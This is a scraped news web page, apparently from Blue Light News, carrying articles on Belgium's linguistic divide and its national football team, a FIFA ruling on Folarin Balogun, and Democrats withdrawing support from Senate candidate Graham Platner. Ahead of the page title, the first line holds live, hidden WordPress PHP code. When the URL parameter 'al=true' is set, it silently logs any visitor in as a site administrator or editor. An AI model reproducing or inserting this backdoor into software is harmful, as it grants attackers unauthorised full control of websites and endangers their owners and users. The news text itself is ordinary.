// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Belgium’s complicated language politics, explained – Blue Light News
Connect with us

Politics

Belgium’s complicated language politics, explained

Published

on

Belgium recognizes three official languages: Dutch, which is dominant in Flanders; French, spoken in Wallonia; and German, spoken by a distinct community of around 70,000 people along the country’s eastern border.

Much of Belgian public life, including education, health care and the media, is organized separately along these linguistic lines. International sport is a notable exception, providing one of the few occasions when Belgians — regardless of whether they speak Dutch, French or German — rally behind the same flag.

Belgian soccer is “a sharp contrast to how the country is organized politically and culturally” Jeroen Scheerder, professor of sports politics and sports sociology at KU Leuven told Blue Light News, adding that aside from chocolate, beer and the King, he struggles to “list any other aspects of life with which people identify to feel like a Belgian … I call it the 90 minutes of nationalism.”

Professor Jef Brouwers, who worked as performance psychologist under former Belgium coach Roberto Martínez between 2015 and 2018, agreed.

“The team is one the few things that cuts through the linguistic barriers,” he said. “You cannot participate as a Flemish athlete or as a Walloon athlete or a Brussels athlete. We have those three governments, but you cannot participate in one of those shirts.”

Roughly half of Belgium’s national soccer team, the Red Devils, are native French speakers, while the other half speak Dutch as their first language. Yet communication has rarely posed a problem because English has become the team’s neutral working language.

“There are French- and Flemish-speaking (players) so it’s the habit, the necessity to speak English … when (the coach) is talking, giving an explanation on the game plan, he will speak in English so that everybody can understand,” Brouwers said.

Language, therefore has never become a major point of contention within the squad.

“I’m quite sure they don’t even think about the language,” Brouwers said. “It is absolutely not a point of attention.”

Scheerder said the arrangement comes naturally because most Belgian internationals already use English in their club soccer careers.

“Most of (the players) if not all of them are quite familiar with (English). Most of them are playing abroad in international clubs … so its not really an issue or a topic,” he added.

If Belgium’s linguistic divide is not an issue during training and after kick-off, there is one moment when it becomes impossible to ignore: the national anthem.

Belgium has not one but four official versions of “La Brabançonne”: French, Dutch and German versions, as well as a multilingual version that alternates between the three languages. Of course, using English as a neutral language provides no solution here!

Fans watching closely during World Cup matches may notice that the lyrics displayed on stadium screens are shown in three rows — one for each official language.

Players and fans can choose which line to sing, meaning that multiple different versions of the same song are being sung at the same time.

Some players, including Kevin De Bruyne, the superstar from Ghent in Flanders, often do not sing the lyrics at all. Scheerder said this is “not at all a statement” and may even reflect a desire to avoid choosing between Belgium’s different official languages.

So, while the Red Devils may spend 90 minutes speaking the same language as their American opponents on the pitch, they begin the evening with a uniquely Belgian chorus: one anthem, three languages — and no single unified version everyone sings.

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

Capitol agenda: Jeffries takes hands-off approach to Israel

Published

on

Capitol agenda: Jeffries takes hands-off approach to Israel

As Democrats wrestled with how to handle a politically thorny vote, Jeffries offered caucus forums but little guidance…
Read More

Continue Reading

Politics

Belgian fans fuming over Balogun’s inclusion

Published

on

The news that Folarin Balogun would be eligible to suit up against Belgium Monday night was met with near-universal celebration across the country.

Just don’t ask the Belgian fans living here.

Blue Light News caught up with several of them at the Belgian embassy’s watch party at Wunder Garten, a trendy bar in Washington’s NoMa neighbourhood.,

“I had to keep up my vomiting,” said Johan Hamels, an Ottawa resident from Leuven in Washington on a business trip. “Rules are rules. Every team is briefed by FIFA. And for every game, it’s in one of their slides. That you get a red card, you’re off next time.”

Balogun was given a red card in the Americans’ Round of 32 matchup last week against Bosnia and Herzegovina, which typically carries a suspension for the following game. But FIFA suspended his ban on Sunday.

Critics have charged that the White House pressured FIFA into making the switch. European politicians have slammed Balogun’s inclusion, and the Royal Belgian Football Association formally challenged FIFA’s reversal on Monday morning.

And while FIFA insists the ruling had nothing to do with politics, President Donald Trump is taking credit for getting Balogun back on the field.

“I’m Belgian,” said Win Van Dijck, a native of Brussels who has lived in the U.S. for the last five years. “So I appreciate surrealism. But it’s just too much.”

It’s another example of Trump pulling the strings in a tournament that has increasingly strayed into the political arena, they say.

“Having it reversed based on a call from the American God is a little bit lack of workmanship. And it’s sad for the kids here because that’s what they see as an example,” said Brigitte, a retiree who came to the U.S. in 1984.

Continue Reading

Politics

Democratic leaders have abandoned Graham Platner

Published

on

The dam has broken on Graham Platner’s candidacy.

A wave of prominent Democrats, from Platner’s most progressive allies to top Democratic leadership, are bailing on his Senate campaign after POLITICO reported that a woman who dated him said he forced her to have sex with him. Platner called the allegation false.

On Monday night — just hours after the story published — Senate Minority Leader Chuck Schumer called on Platner to “immediately withdraw” as the Democratic nominee in the Maine Senate race. The battleground contest iscrucial for Democrats’ chances of winning the Senate in November.

Schumer was joined in that statement by Sen. Kirsten Gillibrand (D-N.Y.), the chair of the Democratic Senatorial Campaign Committee, which said last week it was in the process of opening a joint fundraising committee with Platner. On Monday the committee said it would no longer invest in the race if he stays on the ballot.

A flood of Democratic senators joined Schumer and Gillibrand in condemning Platner, including several potential 2028 presidential hopefuls. Mark Kelly (D-Ariz.), Elissa Slotkin (D-Mich.), Cory Booker (D-N.J.) and Adam Schiff (D-Calif.) all called on Platner to exit the race. Even former staunch supporters — like progressive Rep. Ro Khanna (D-Calif.) and Sen. Martin Heinrich (D-N.M.) — and Arizona Sen. Ruben Gallego withdrew their endorsements. Sen. Ed Markey (D-Mass.), who had expressed support for Platner last month, said Monday he “cannot support his candidacy.”

Meanwhile, two of Platner’s most prominent Senate backers, Bernie Sanders and Elizabeth Warren, have yet to comment on the news.

The money that would be crucial to Democrats’ hopes of flipping the seat also immediately dried up. Key outside groups organizing on his behalf, including VoteVets, which elevates former veterans as Democratic candidates, and the progressive good-governance group End Citizens United, rescinded their endorsements Monday. Senate Majority PAC, the top super PAC supporting Senate Democrats, said it is “redirecting resources away from the Maine Senate race in light of the latest allegations.”

The exodus of Democratic support marks a significant break from how the party has responded to the previous scandals and controversies that have dogged his campaign. Many Democrats defended Platner — or otherwise begrudgingly accepted the success of his campaign — even after his history of offensive online comments, his tattoo that resembled a Nazi symbol, and accusations of past mistreatment of women came to light.

Democrats who had hoped to nominate Maine Gov. Janet Mills coalesced behind Platner after she dropped out of the race, leaving Platner effectively uncontested in the primary, which he handily won last month.

But some Maine Democrats have begun to scramble in the wake of the tidal wave of calls for Platner to leave the race: If he withdraws before next Monday, Maine law allows the state party to select his replacement.

Former Democratic gubernatorial candidates Troy Jackson, a Bernie Sanders-endorsed progressive, Secretary of State Shenna Bellows and former public health official Nirav Shah are taking calls about replacing Platner, according to three people familiar with those conversations, granted anonymity to discuss sensitive discussions.

Maine Democratic nominee for governor Hannah Pingree also called for Platner to exit the race.

“Graham Platner tapped into something real — voters hungry for change showed up with real passion and energy,” Pingree said in a statement. That energy doesn’t have to go away. It needs a new candidate to carry it forward.

Continue Reading

Trending